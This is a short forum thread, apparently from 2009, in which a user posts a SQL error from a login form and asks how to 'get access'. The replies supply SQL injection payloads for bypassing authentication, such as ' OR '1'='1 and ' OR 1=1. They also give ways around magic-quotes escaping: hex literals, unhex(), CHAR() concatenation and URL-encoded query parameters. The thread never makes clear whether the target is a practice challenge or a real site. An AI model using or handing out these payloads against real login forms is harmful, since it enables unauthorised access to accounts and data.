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Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y' Connection is Resource id #4 anyway to get access? Re: Please help with this Posted: Fri Aug 14, 2009 12:23 am gibbocool Advanced user Joined: Jan 22, 2008 Posts: 208 shyspy wrote: I am getting this error. Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y' Connection is Resource id #4 anyway to get access? Well what you want to have is: USER_INFO_PASSWORD = '' OR '1'='1' I'm guessing your currently trying: \'' OR \''1\''=\''1 Try these: ' OR '1'='1 ' OR 1=1 \'' OR '\'1\''='\'1\' _________________ http://www.gibbocool.com Posted: Fri Aug 14, 2009 5:28 am tehhunter Valuable expert Joined: Nov 19, 2008 Posts: 261 Odds are that this ^^ isn't going to work if magic quotes is enabled. basically you have a couple things to try otherwise you're out of luck. Also, you are using the incorrect number of quotes, so even if the server wasn't adding slashes you'd still get a formatting error. Go the top of this page and to the SQL char encoder. Type whatever you like in there, in your case ' OR ''=' and try to use the results as such: Code: page.php?param=0x27204f522027273d27 page.php?param=unhex(27204f522027273d27) page.php?param=CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(39),CHAR(61),CHAR(39)) page.php?param=%27%20OR%20%27%27%3D%27 If none of these work you are probably out of luck and should for an exploit elsewhere. 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